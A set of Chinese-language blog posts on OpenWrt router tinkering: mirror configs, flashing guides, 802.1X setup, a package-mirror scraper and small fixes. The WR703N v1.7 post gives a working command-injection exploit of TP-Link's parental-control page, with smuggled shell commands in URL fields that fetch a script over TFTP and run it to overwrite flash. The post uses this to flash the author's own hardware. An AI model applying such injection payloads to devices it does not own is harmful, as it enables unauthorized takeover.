Categories
木有技术

Cisco Linksys EA3500 OpenWrt Snapshot镜像

仅限Snapshot版本r48648使用,需要自己搭服务器的可以参考我的帖子http://boweihe.me/?p=1537

没有Luci界面的,可以直接修改/etc/opkg/distfeeds.conf 这个文件。LuCi界面下等效的。

src/gz designated_driver_base http://hk.boweihe.me/downloads.openwrt.org/snapshots/trunk/kirkwood/generic/packages/base
src/gz designated_driver_kernel http://hk.boweihe.me/downloads.openwrt.org/snapshots/trunk/kirkwood/generic/packages/kernel
src/gz designated_driver_luci http://hk.boweihe.me/downloads.openwrt.org/snapshots/trunk/kirkwood/generic/packages/luci
src/gz designated_driver_management http://hk.boweihe.me/downloads.openwrt.org/snapshots/trunk/kirkwood/generic/packages/management
src/gz designated_driver_packages http://hk.boweihe.me/downloads.openwrt.org/snapshots/trunk/kirkwood/generic/packages/packages
src/gz designated_driver_routing http://hk.boweihe.me/downloads.openwrt.org/snapshots/trunk/kirkwood/generic/packages/routing
src/gz designated_driver_telephony http://hk.boweihe.me/downloads.openwrt.org/snapshots/trunk/kirkwood/generic/packages/telephony
# src/gz designated_driver_targets http://hk.boweihe.me/downloads.openwrt.org/snapshots/trunk/kirkwood/generic/packages/targets

 
 

Categories
木有技术

Cisco Linksys EA3500 刷入OpenWrt

万万没想到这个路由器现在也有了官方的OpenWrt支持!
可以参考这里(英文):https://wiki.openwrt.org/toh/linksys/ea3500
大致翻译如下:

As of r47458 the EA3500 is completely supported. This model is identified by the board codename “Audi.”
自从版本r47458开始,EA3500已被OpenWrt完整支持了。这个机型的固件可以用识别码 “Audi”查找

访问这里可以得到最新的编译版本:https://downloads.openwrt.org/snapshots/trunk/kirkwood/generic/
需要查找带有

openwrt-kirkwood-linksys-audi-squashfs-factory.bin

字样的,是可以直接用思科原版固件刷入的;而

openwrt-kirkwood-linksys-audi-squashfs-sysupgrade.tar

是从旧版本OpenWrt升级用的。
注意:刷好之后默认没有开启无线的,也没有装luci图形界面,需要用ssh(可通过putty软件)用有线的方式连接到管理界面。路由器默认的IP地址应该是192.168.1.1
连接SSH时,默认用户是root,然后是空密码。进入后需要用

passwd

命令设置密码。
然后可以更新opkg包进而安装网页管理界面luci

opkg update #更新包信息
opkg install luci #下载并安装luci
opkg install luci-i18n-base-zh-cn #可选,安装中文语言

随后就能通过网页访问http://192.168.1.1来管理啦!
CISCO LinkSys EA3500 OpenWrt

Categories
木有技术

Use an OpenWrt Router to log in 802.1x (MSCHAPV2) wired network at SUTD (eduroam)

本文主要介绍如何使用基于OpenWrt的路由器进行802.1X有线网登录验证(即作为802.1X 客户端)。
This post tells my experience on trying to connect to a wired network at Singapore University of Technology and Design (SUTD) by using a OpenWrt-powered router (a modified TPLink WR-703n).

Prerequisites

What you need is a router which runs OpenWrt (or other unix-based OS like dd-wrt). For me I have a hardware-hacked TPLink Wr703n (technically it was a WR-702n but their mainboards are same). My modified router has 64 MB ram and 8MB ROM, which allows me to install and run OpenWrt (currently version 14.04) and some necessary apps.
You should know the fundamental about OpenWrt. If not, please visit https://wiki.openwrt.org/  for help.

Steps

Before start, please do not power off your device unless it’s requested explicitly.
First, build up a SSH connection to your router, for me on Windows, I connect my router (192.168.1.1) via Putty.
If this is the first time that you log in via SSH terminal, you should firstly set up the root password at http://192.168.1.1/ on your internet browser (this IP address might vary on different devices)

Remove wpad-mini

We will have to remove the mini version of wpad (wpad = wpa_supplicant + hostapd) since it is not powerful enough to handle a 802.1X authentication. So on your SSH terminal, after you’ve successfully logged in, type this

opkg remove wpad-mini

Install wpad

Then install the full version of wpad, you may download it from

https://downloads.openwrt.org/barrier_breaker/14.07/ar71xx/generic/packages/base/wpad_2014-06-03.1-3_ar71xx.ipk

and you must find a way to transfer it to your router. For me I choose HFS (http://www.rejetto.com/hfs/) to build a small http file server on my personal computer. and then I use the ‘wget’ commend to download the file

cd /tmp
wget http://YOUR_HFS_SERVER_IP/wpad_2014-06-03.1-3_ar71xx.ipk

then install it

opkg install wpad_2014-06-03.1-3_ar71xx.ipk

OR if you have Internet connection on your router (oh you must be kidding) you can directly type

opkg update
opkg install wpad

Configuration

(For wr-703n only)

You may need to set up a wireless connection on your router first, please search on Google to enable your WiFi port. Or you may explore the ‘Network’ –> ‘Wifi’ page, it’s easy to get started!
By default, OpenWrt uses the only ethernet port on the little wr-703n as a LAN port, buy in this time we need to set it to a WAN port. It means that we’ll use an Ethernet wire to connect the world, and use the wireless signal to connect your devices, e.g. your laptops, cellphones, pads…
[INTERNET]  <—-wired conn.—> [ROUTER] <—-wireless conn.—-> [DEVICES]
This configuration can be easily done on OpenWrt’s web interface, visit http://YOUR_ROUTER’s_IP/ (for me it is 192.168.1.1 ) on your browser and enter your password.
Then go to ‘Networks’ –> ‘Interfaces’, there should be only one interface called ‘LAN’. And we need to add the ‘wan’ interface. so click on the button ‘Add new interface’ below openwrt_add_new_interface
Then set it as follow:openwrt_add_wan_interface
and click ‘submit’.
Next, we need to cease the bond between port eth0 and interface LAN. Turn back to the interface page, and click the ‘Edit’ openwrt_edit_interfaceon LAN interface.
Then click on the ‘Physical Settings’ page openwrt_interface_lan
and set the physical ports binding as follow (Un-tick ‘eth0’ and tick wireless network):
openwrt_wr703_lan_phy
then click on ‘Save and Apply’ button in the bottom.openwrt_saveandapply
Then restart your router.
NOTICE: From now on you can only connect your router through wireless connection, the Ethernet port is set as a WAN port.

wpa_supplicant

The next step is to set up 802.1X authentication.
The wpa_supplicant module will be used to maintain the authentication process, so we need a configuration file first.
Type these in your monitor to start vi (a built-in text editor):

vi /etc/config/wpa.conf

then key in ‘i’ to start the insert mode. Copy the following text

ctrl_interface=/var/run/wpa_supplicant
ctrl_interface_group=root
ap_scan=0
network={
        key_mgmt=IEEE8021X
        eap=MSCHAPV2   #THIS LINE IS IMPORTANT!
        eapol_flags=0
        identity="YOUR USERNAME"
        password="YOUR PASSWORD"
        phase1="peaplabel=1"
        phase2="auth=MSCHAPV2"  #THIS LINE MAYBE USELESS
}

and then, on your puppy terminal, use the right button of your mouse to paste them into vi text editor. Next, press ‘Ese’ button on your keyboard and input :wq to quit vi editor with the file written to your router.

Connection

Finally it’s time to build up connection, first unplug your Ethernet wire from the router if you’ve did so.
Then in the putty terminal, type

killall wpa_supplicant # Kill all wpa_supplicant programs on-the-run
wpa_supplicant -D wired -i eth0 -c /etc/config/wpa.conf &

The second line is the key, it tries to authenticate with the server using your configuration file on the wired port eth0.
And now please plug your Ethernet wire into the router, then the best part starts like this…
wr703-8021x-conn
Once you see ‘SUCCESS’ in those output you may press the Enter key to resume from shell execution.
It’s done.
In case you may encounter some error in the process, try change the parameters in your configuration file because not all 802.1x are the same. I once faced the credential error then found out that it’s the bad parameter in the ‘EAP’ setting.

#eap=PEAP # It was PEAP but turns out to be a failure
eap=MSCHAPV2 # This is the right thing to bypass credentials

Enable Service Autostart

Here are the scripts to auto-startup the 802.1x auth after the router finished booting. In your puppy terminal, type

vi /etc/init.d/wpa

Then push ‘I’ button on the keyboard to insert

#!/bin/sh /etc/rc.common
START=99
start() {
    echo start
    wpa_supplicant -D wired -i eth0 -c /etc/config/wpa.conf &
}

and push ‘Esc’, and type in :wq to quit the editor.
Back to the command terminal, type in

chmod +x /etc/init.d/wpa
chmod 755 /etc/init.d/wpa
/etc/init.d/wpa enable # Enable autostart

 

References

Categories
木有技术

WR703n v1.7 破解openwrt(提示“密码错误”等问题的解决)

英文请参考:http://wiki.openwrt.org/toh/tp-link/tl-wr703n#tftp_install_necessary_on_v17_hardware
转载本文请注明来自http://boweihe.me/?p=1680

[写在最前]如果你在破解过程中遇到HTML返回(中文)错误提示

有一部分人(包括我)遇到了,在执行第二个curl命令的时候,返回一段不正确的HTML代码的问题(主要内容是密码错误的提示页面,会说什么Caps Lock之类的)。这个问题是由于你更改了默认的路由器模式(比如AP模式)无法开启家长控制功能,解决办法是,重置路由器设置(捅RESET洞洞,或者Web界面里头选重置)。

准备工具

本教程主要介绍Windows下面用到的工具,因为UNIX类的系统其实Terminal底下都能搞定这事儿…噗

  1. cURL工具,http://curl.haxx.se/download.html
  2. TFTP工具,http://tftpd32.jounin.net/tftpd32_download.html
  3. (可选)本教程中TFTP底下的那些文件,包括BusyBox,分离出的固件等。链接:http://pan.baidu.com/s/1qWvfp7I 密码:y1vw
  4. dd for windows: http://uranus.chrysocome.net/linux/rawwrite/

准备Hack文件

BusyBox Binary

使用curl下载BusyBox的二进制文件:

curl http://busybox.net/downloads/binaries/latest/busybox-mips > busybox

OpenWrt固件

下载OpenWrt固件

curl https://downloads.openwrt.org/snapshots/trunk/ar71xx/generic/openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin -o openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin

然后拆成两部分

dd if=openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin of=i1 bs=1 count=1048576
dd if=openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin of=i2 bs=1 skip=1048576

aa文件(bash)

新建一个叫aa的文件,别忘了讲下面的192.168.0.9 替换成你电脑的内网IP地址(路由器分配给你电脑的内网IP)

cd /tmp
tftp -gl i1 192.168.0.9
tftp -gl i2 192.168.0.9
tftp -gl busybox 192.168.0.9
chmod 755 busybox
./busybox dd if=i1 of=/dev/mtdblock1 conv=fsync
./busybox dd if=i2 of=/dev/mtdblock2 conv=fsync
./busybox reboot -f

 
至此,你的目录下应该有5个文件

  • openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin
  • busybox
  • i1
  • i2
  • aa

刷写OpenWrt

[警告]以下步骤可能导致你的路由器变砖,请确认当前的路由器固件版本是3.17.1 Build 140120. 下述全过程请勿断开连接或是断开电源,本人不对产生的任何后果负责!另外,每一步都很重要,别忽略其中任何一步。
以下步骤中,请替换 192.168.0.9 为你电脑的内网IP, 替换 192.168.0.100 为你路由器的IP地址 (WR703N的,一般是192.168.1.1).

修改密码为admin42

这个步骤只会更改路由器家长控制的默认密码,刷完openwrt之后会恢复为openwrt的默认密码的

curl -o - -b 'tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=true' 'http://192.168.0.100/'

启用家长控制(利用漏洞)

curl -o - -b 'tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=' --referer 'http://192.168.0.100/userRpm/ParentCtrlRpm.htm' 'http://192.168.0.100/userRpm/ParentCtrlRpm.htm?ctrl_enable=1&parent_mac_addr=00-00-00-00-00-02&Page=1'

开启电脑上的TFTP服务器

开启TFTP服务器,如果用tftp32的话:

  1. 设置Current Directory为那个含有5个文件都目录;
  2. 设置Server interfaces为你电脑的内网IP地址(一般情况下是192.168.1.x)

刷固件

curl -o - -b 'tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=' --referer 'http://192.168.0.100/userRpm/ParentCtrlRpm.htm?Modify=0&Page=1' 'http://192.168.0.100/userRpm/ParentCtrlRpm.htm?child_mac=00-00-00-00-00-01&lan_lists=888&url_comment=test&url_0=;cd%20/tmp;&url_1=;tftp%20-gl%20aa%20192.168.0.9;&url_2=;sh%20aa;&url_3=&url_4=&url_5=&url_6=&url_7=&scheds_lists=255&enable=1&Changed=1&SelIndex=0&Page=1&rule_mode=0&Save=%B1%A3+%B4%E6'

请等待路由器自动重启(重启后会加载openwrt,路由器状态灯会闪烁一会儿)
上述步骤其实会远程调用tftp里头存储的aa文件(脚本),进而执行脚本中的刷机命令

Categories
木有技术

WNDR4300/3700v4 OpenWrt 14.04 Barrier Breaker 镜像源 Mirror

160217:由于wndr4300已经出掉了,所以这个镜像源目前已经移除。自行搭建的方法请参考http://boweihe.me/?p=1537

实在不能忍受某些墙还是什么导致的问题,更新个ipk就得半小时!
自己搭了一个源,如果谁也有Ar71xx nand(比如我的WNDR4300)的话,可以用我搭建的源~
由于用的Bandwagon服务器,大陆地区晚上访问速度会比较慢,白天就快多啦~
WNDR3700 v4版也可以用的!
WNDR4300的配置文件如下:

dest root /
dest ram /tmp
lists_dir ext /var/opkg-lists
option overlay_root /overlay
src/gz barrier_breaker_base http://2.boweihe.me/wrt/base
src/gz barrier_breaker_luci http://2.boweihe.me/wrt/luci
src/gz barrier_breaker_packages http://2.boweihe.me/wrt/packages
src/gz barrier_breaker_routing http://2.boweihe.me/wrt/routing
src/gz barrier_breaker_telephony http://2.boweihe.me/wrt/telephony
src/gz barrier_breaker_management http://2.boweihe.me/wrt/management
src/gz barrier_breaker_oldpackages http://2.boweihe.me/wrt/oldpackages

需要自己搭建的话,请参考:
http://boweihe.me/?p=1537
拷贝的URL源地址是:
https://downloads.openwrt.org/barrier_breaker/14.07/ar71xx/nand/packages/

Categories
木有技术

搭建自己的openwrt小镜像服务器

虽然当我写完的时候我发现wget可以一句话解决这个事情,不过还是与大家分享下代码吧~
更简单的方法详见:http://zqhong.qiniudn.com/2014/10/18/%E6%90%AD%E5%BB%BAOpenWrt%E6%9C%AC%E5%9C%B0%E8%BD%AF%E4%BB%B6%E5%BA%93%E9%95%9C%E5%83%8F/
下面是我写的小爬虫,是在其他人的成果基础上改的,新增支持级联目录
 

#!/usr/bin/env python
#coding=utf-8
#
# Openwrt Package Grabber
#
# Copyright (C) 2015 http://boweihe.me
# based on http://shuyz.com
#
import urllib2
import os
import re
def fetch_package(url, subdir=''):
    print 'fetching package list from ' + url
    content = urllib2.urlopen(url, timeout=15).read()
    pattern = r'<a href="(.*?)">'
    items = re.findall(pattern, content)
    for item in items:
        if item=='../':
            continue
        else:
            m = re.match(r'\w+/$', item)
            if m:
                if not os.path.exists(savedir + subdir + m.group()):
                    print 'makedir ' + m.group()
                    os.makedirs(savedir + subdir + m.group())
                fetch_package(url + m.group(), subdir + m.group())
            else:
                print 'downloading item : '+ item
                rfile = urllib2.urlopen(url + item)
                opendir = savedir + subdir + item
                with open(opendir, 'wb') as code:
                    code.write(rfile.read())
# the url of package list page, end with "/"
baseurl = 'http://downloads.openwrt.org/barrier_breaker/14.07/ar71xx/'
# which directory to save all the packages, end with "/"
savedir = './download-full1407/'
if not os.path.exists(savedir):
    os.makedirs(savedir)
fetch_package(baseurl)
print 'done!'

 

Categories
木有技术

WNDR3800 openWrt: Enable WiFi toggle

We could just follow the wiki page of WNDR3700 to enable Wifi switch button 🙂
http://wiki.openwrt.org/toh/netgear/wndr3700#activate.the.buttons
Here are the commands for SSH terminal:

opkg update
opkg install wifitoggle
uci set wifitoggle.@wifitoggle[0].button=BTN_2
uci set wifitoggle.@wifitoggle[0].timer=0
uci commit wifitoggle

BTW, these are hardware button keystrokes:

Reset WPS WiFi
Backfire BTN_0 BTN_1 BTN_2
Trunk reset wps BTN_2
Categories
不学无术

WR703N Gargoyle石像鬼固件的USB打印问题

刷了这个固件发现USB打印一直连接不上去,后来发现好像是打印端口的问题~

设备名称:Gargoyle
石像鬼(Gargoyle)版本:1.6.1
型号:TP-LINK TL-WR703N v1
设备配置:网关

参考了这篇文章:http://wiki.openwrt.org/doc/howto/p910nd.server
里面提到了这么一句

On older versions the device /dev/usb/usblp0 is created. More recent versions create the normal /dev/lp0 device, even for usb printers. (Attitude Adjustment 12.09 actually creates /dev/usb/lp0

结果查了一下果然是这个原因,p910nd默认的设备位置是/dev/lp0来着,我去/dev下看了看发现其实是/dev/usb/lp0,所以把配置文件改改就好啦~
配置文件是:/etc/config/p910nd
把里面对应的改掉
另外修改好后重启下服务哦

/etc/init.d/p910nd stop
/etc/init.d/p910nd start